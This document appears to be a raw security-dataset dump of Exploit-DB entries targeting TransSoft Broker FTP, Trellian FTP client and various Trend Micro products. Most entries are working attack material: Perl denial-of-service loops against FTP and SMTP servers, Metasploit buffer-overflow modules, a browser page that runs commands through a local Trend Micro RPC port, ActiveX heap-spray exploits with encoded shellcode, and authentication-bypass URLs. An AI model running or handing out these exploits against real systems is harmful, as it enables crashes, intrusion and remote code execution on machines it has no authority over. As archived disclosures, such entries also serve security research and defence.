deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19611
Description: TransSoft Broker FTP Server 3.0 x/4.0 - User Name Buffer Overflow
Type: remote
Platform: windows
Date: 1999-11-08
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/783/info

If an unusually long user name is passed to the Broker FTP server software, the program will crash. If the program is running as a service, the service will consume all available memory and crash the entire system. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19611.zip
Exploit-DB #20910
Description: TransSoft Broker FTP Server 3.0/4.0/4.7/5.x - CWD Buffer Overflow
Type: remote
Platform: windows
Date: 2001-06-10
Author: byterage

Exploit:
source: https://www.securityfocus.com/bid/2851/info

Broker is a Windows FTP server from TransSoft.

Versions of Broker are vulnerable to a denial of service.

A CD or CWD command, argumented by an invalid '. .' (dot-space-dot) sequence can, if repeatedly issued, create a buffer overflow causing the server to halt, requiring a restart.

The extent of this issue's exploitability is currently unverified. 

#!/usr/bin/perl 

# Broker FTP Server 5.9.5.0 DoS proof of concept
#
# Syntax : perl brokerdos.pl <host> <port> <loginid> <loginpwd>
# Impact : eventually causes an access violation in the TSFTPSRV process
#          the buffer overflow might be exploitable and be used to gain access
#          to the FTP Server hostcomputer.
#
# by [ByteRage] <byterage@yahoo.com>
# www.byterage.cjb.net (http://elf.box.sk/byterage/)

use IO::Socket;

$loginid = "anonymous";
$login[CREDENTIAL_REDACTED]";

if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:"; 
if (!($port = $ARGV[1])) { $port = "21"; } print "$port\n\n"; 
if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } 
if (!($loginpwd = $ARGV[3])) { $login[CREDENTIAL_REDACTED]"; } 

$SOCK = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $SOCK->autoflush();

# get daemon banner
$reply = "";
sysread($SOCK, $reply, 2000);
print $reply;
# login
syswrite $SOCK, "USER $loginid\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
syswrite $SOCK, "PASS $loginpwd\015\012";
sysread($SOCK, $reply, 2000);
print $reply;
sysread($SOCK, $reply, 2000);
print "$reply\nSending crash [";

if (substr($reply,0,1) == '2') {
  # Login succesful, send CWD's
  $i = 1; while ($i) {
    $i = syswrite $SOCK, "CWD .                                                                             .\015\012";
    print ".";
    sleep(1);
  }
print "]\nSocket write failed... possible cause : Host down :(\n";
}
close($SOCK);
exit();
Exploit-DB #16710
Description: Trellian FTP Client 3.01 - PASV Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
				through an excessively long PASV message.
			},
			'Author' 	 =>
				[
					'zombiefx',  # Original exploit author
					'dookie'     # MSF module author
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2010-1465'],
					[ 'OSVDB', '63812'],
					[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 900,
					'BadChars' => "\x00\x29\x2c\x2e",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd  p/p/r in ftp.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 11 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
			], self.class)
	end

	def on_client_connect(client)
		return if ((p = regenerate_payload(client)) == nil)

		# Let the client log in
		client.get_once

		user = "331 Please specify the password.\r\n"
		client.put(user)

		client.get_once
		pass = "230 Login successful.\r\n"
		client.put(pass)

		# Handle the clients PWD command
		client.get_once
		pwd = "257 \"/\" is current directory.\r\n"
		client.put(pwd)
		client.get_once

		sploit = "227 Entering Passive Mode ("
		sploit << rand_text_alpha_upper(2171)
		sploit << make_nops(100)
		sploit << payload.encoded
		sploit << make_nops(900 - (payload.encoded.length))
		sploit << "\xe9\x18\xfc\xff\xff"  # Jump back 1000 bytes
		sploit << "\xeb\xf9\x90\x90"      # Jump back 7 bytes
		sploit << [target.ret].pack("A3")
		sploit << ")\r\n"

		client.put(sploit)

	end

end
Exploit-DB #39218
Description: Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands
Type: remote
Platform: windows
Date: 2016-01-11
Author: Google Security Research

Exploit:
<!--
Source: https://code.google.com/p/google-security-research/issues/detail?id=693

When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup.

http://www.trendmicro.com/us/home/products/software/password-manager/index.html

This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests.

It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute().

This means any website can launch arbitrary commands, like this:

x = new XMLHttpRequest()
x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);
try { x.send(); } catch (e) {};

(Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed).
-->

<html>
<head>
    <title>Trend Micro Maximum Security 10 Exploit</title>
</head>
<body>
    <p>
    Sample exploit for Trend Micro Maximum Security 10.
    <p>
    -- Tavis Ormandy.
    <p>
    Command: <input id="command" value="C:/PROGRA~1/TRENDM~1/Titanium/Remove.exe" size="64">
    <p>
    <a href="javascript:begin()">Click Here</a> to run the command above (the default will uninstall Trend Micro Maximum).
    <p>
    <img src="http://reactiongifs.us/wp-content/uploads/2013/02/awesome_to_the_max.gif">
<script>
    function begin() {
        // The command you want to run, arguments will work but don't use single quotes.
        // Lets uninstall Trend Micro.
        var cmd  = document.getElementById('command').value;

        // Start port, Trend Micro trys top open a port starting here until it works.
        var port = 49155;

        // Wrapper code to start cmd.
        var code = "topWindow.require('child_process').spawn('cmd', [ '/c', '" + cmd + "' ])"

        // We can't send quotes, so encode that via character codes.
        code = code.split('').map(function(a){ return a.charCodeAt(0) }).join(',');

        // Create the XHR's
        for (; port <= 49160; port++) {
            var x = new XMLHttpRequest();

            x.open('GET', 'https://localhost:' + port + '/api/showSB?url=javascript:eval(String.fromCharCode(' + code + '))', false);

            // We can't tell if it worked because of the cross domain policy.
            try { x.send(); } catch (e) {};
        }
    }
</script>
Exploit-DB #14885
Description: Trend Micro Internet Security 2010 - 'UfPBCtrl.DLL' ActiveX Remote Command Execution
Type: remote
Platform: windows
Date: 2010-11-17
Author: Dr_IDE

Exploit:
####################################################################
#####

<!--
Title: 		Trend Micro Internet Security Pro 2010 ActiveX Unicode 
Remote Exploit
Version:	UfPBCtrl.DLL ver 17.50.0.1366 (XPSP3 English)
Version:    UfPBCtrl.dll ver 17.50.0.1647 (XPSP3 English) -- Hotfix release
Coded By:	Dr_IDE
Credits:	Abyssec
Tested:		XPSP3 English + IE7
Link:		www.trendmicro.com
Notes:		I only researched/posted this because the original did not 
work for me. Perhaps it's a windows language thing?
Notes:		If you want to try this locally you need to disable the 
"Protection Against Viruses & Spyware" option.
-->

<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-
043D9CEC52F0'></object>
<script>

//payload is windows/exec cmd=calc.exe

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
                       
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ 
fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + 
shellcode;

target.extSetOwner(unescape('%u50A1%u00C7'));
//IEFRAME.DLL [0x00c750a6] = 0a0a0a0a (perfect?), we send just 
behind it

</script>

<!--[pocoftheday.blogspot.com]-->
Exploit-DB #14878
Description: Trend Micro Internet Security Pro 2010 - ActiveX 'extSetOwner()' Remote Code Execution (2)
Type: remote
Platform: windows
Date: 2010-09-03
Author: Abysssec

Exploit:
<!--
 __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <  Day 3 (Binary Analysis)
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 


  Title            :  Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code  Execution
  Version          :  UfPBCtrl.DLL  17.50.0.1366 (XP SP3)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.trendmicro.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
 
  http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/

  SHELLCODE CALC.EXE TESTED ON XPSP3_IE_7
-->
<object ID='target' classid='clsid:15DBC3F9-9F0A-472E-8061-043D9CEC52F0'>

</object>
<script>	 
	 shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ 
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ 
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ 
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ 
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ 
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ 
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ 
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); 
                      
     nops=unescape('%u9090%u9090'); 
     headersize =20; 
     slackspace= headersize + shellcode.length; 
     while(nops.length< slackspace) nops+= nops; 
     fillblock= nops.substring(0, slackspace); 
     block= nops.substring(0, nops.length- slackspace); 
     while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; 
     memory=new Array(); 
     for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;   	 
	 target.extSetOwner(unescape('%ua5de%u3da6'));                 //mshtml.dll [0x3DA6A5DE] = 0A0A0A06        
</script>
Exploit-DB #19612
Description: Trend Micro Interscan VirusWall 3.2.3/3.3 - 'HELO' Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 1999-11-07
Author: Alain Thivillon & Stephane Aubert

Exploit:
source: https://www.securityfocus.com/bid/787/info

There is a buffer overflow in the HELO command of the smtp gateway which ships as part of the VirusWall product. This buffer overflow could be used to launch arbitrary code on the vulnerable server.

This issue was patched by InterScan, however even with the patch it is possible to cause a DoS of the mail server software by sending between 4075 and 4090 characters. 

#!/usr/bin/perl

# (c) Alain Thivillon & Stephane Aubert 
#     Herve Schauer Consultants 2000
#     http://www.hsc.fr/
#
#     Do not use this stuff against Microsoft MX hosts :)
#
# Crash Interscan SMTP Server on Windows NT Version 3.32 Builds 1011 and 1022
# Depending of debugger installed on NT, crash can be immediat if you use
# Drwatson.32.exe (new connections get stuck), or can be limited to single
# thread if Auto=0 in NT Debug key. Interscan limits number of running
# threads (default 25) so it' very easy to exhaust all threads and finally
# force answer to '452 Too Busy'

use Socket;
use FileHandle;

$vict=$ARGV[0];

$AF_INET = 2;
$SOCK_STREAM = 1;
$port=25;
$sockaddr = 'S n a4 x8';

($name, $aliases, $type, $len, $thataddr) = gethostbyname($vict);
$that = pack($sockaddr, $AF_INET, $port, $thataddr);

while (1) {
  $mysock=new FileHandle;
  socket($mysock, $AF_INET, $SOCK_STREAM, $proto) || die "socket failed\n";
  connect($mysock, $that) || die "Connect failed\n";
  select($mysock); $| = 1; select(STDOUT); $| = 1;

  $line = <$mysock>;
  print $line; 
  print $mysock "HELO ",'a'x4075,"\r\n";
  $line = <$mysock>;
  print $line; 
  close $mysock; 
}
Exploit-DB #20893
Description: Trend Micro Interscan VirusWall for Windows NT 3.4/3.5/3.51 - Remote Reconfiguration
Type: remote
Platform: windows
Date: 2001-05-24
Author: snsadv

Exploit:
source: https://www.securityfocus.com/bid/2808/info

Interscan Viruswall is a Virus scanning software package distributed and maintained by Trend Micro. It is designed to scan for virus occurances in both incoming and outgoing traffic via SMTP, FTP, and HTTP at the gateway of the network.

The management interface used with the Interscan Viruswall uses several programs in a cgi directory that may allow a remote attacker to make configuration changes using maliciously-constructed querystrings submitted to the host. 

Examples:

http://target/interscan/cgi-bin/FtpSave.dll?no
http://target/interscan/cgi-bin/FtpSave.dll?yes
http://target/interscan/cgi-bin/FtpSave.dll?I'm%20here
Exploit-DB #20912
Description: Trend Micro Interscan VirusWall for Windows NT 3.51 - Configurations Modification
Type: remote
Platform: windows
Date: 2001-06-12
Author: SNS Advisory

Exploit:
source: https://www.securityfocus.com/bid/2859/info

A remote user could utilize the administrator functions of Interscan Viruswall without providing authentication credentials. This may allow the user to make configuration changes when submitting specially crafted URLs to the host. 

http://VirusWall/interscan/cgi-bin/interscan.dll
Exploit-DB #16535
Description: Trend Micro OfficeScan - Client ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: trendmicro_officescan.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Trend Micro OfficeScan
				Corporate Edition 7.3. By sending an overly long string to the
				"CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,
				an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-0325' ],
					[ 'OSVDB', '33040' ],
					[ 'BID', '22585' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8 } ],
				],
			'DisclosureDate' => 'Feb 12 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded

		# Build out the message
		content = %Q|
			<html>
			<object classid='clsid:08d75bb0-d2b5-11d1-88fc-0080c859833b' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.CgiOnUpdate = #{strname};
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #42891
Description: Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution
Type: remote
Platform: windows
Date: 2017-09-28
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2017-14084-TRENDMICRO-OFFICESCAN-XG-CURL-MITM-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.trendmicro.com



Product:
========
OfficeScan
v11.0 and XG (12.0)*


OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks.
An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that
manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the
web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent.



Vulnerability Type:
===================
Man-in-the-Middle (MITM) Remote Code Execution



CVE Reference:
==============
CVE-2017-14084



Security Issue:
===============
MITM vector exists as the CURL request used by Send() function in "HttpTalk.php" has both CURLOPT_SSL_VERIFYPEER and CURLOPT_SSL_VERIFYHOST set to false.
CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you trust was issued by a CA you trust and it's genuine.
CURLOPT_SSL_VERIFYHOST checks that the cert was issued to the entity you want to talk to...


References:
===========
https://success.trendmicro.com/solution/1118372


Vulnerable code snippet...
	
curl_setopt($this->_objcurlHandle, CURLOPT_FOLLOWLOCATION,false);
curl_setopt($this->_objcurlHandle, CURLOPT_RETURNTRANSFER,true);
curl_setopt($this->_objcurlHandle, CURLOPT_HEADER, true);
curl_setopt($this->_objcurlHandle, CURLOPT_SSL_VERIFYHOST, 0);  <===================  HERE
curl_setopt($this->_objcurlHandle, CURLOPT_SSL_VERIFYPEER, 0);  <==================== THERE



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=================================
Vendor Notification: May 31, 2017
Vendor releases fixes / advisory : September 27, 2017
September 28, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #22171
Description: Trend Micro OfficeScan 3.x - CGI Directory Insufficient Permissions
Type: remote
Platform: windows
Date: 2003-01-15
Author: Rod Boron

Exploit:
source: https://www.securityfocus.com/bid/6616/info

A vulnerability has been reported for Trend Micro OfficeScan that may allow attackers to access programs residing in the cgi directory of the OfficeScan installation.

http://x.x.x.x/officescan/cgi/cgiMasterPwd.exe
Exploit-DB #22174
Description: Trend Micro ScanMail For Exchange 3.8 - Authentication Bypass
Type: remote
Platform: windows
Date: 2003-01-15
Author: Rod Boron

Exploit:
source: https://www.securityfocus.com/bid/6619/info

A vulnerability has been reported for ScanMail for Microsoft Exchange. The vulnerability allows a remote attacker to bypass existing authentication mechanisms and obtain access to ScanMail's management system.

http://x.x.x.x:16372/smg_Smxcfg30.exe?vcc=[PII_REDACTED]d3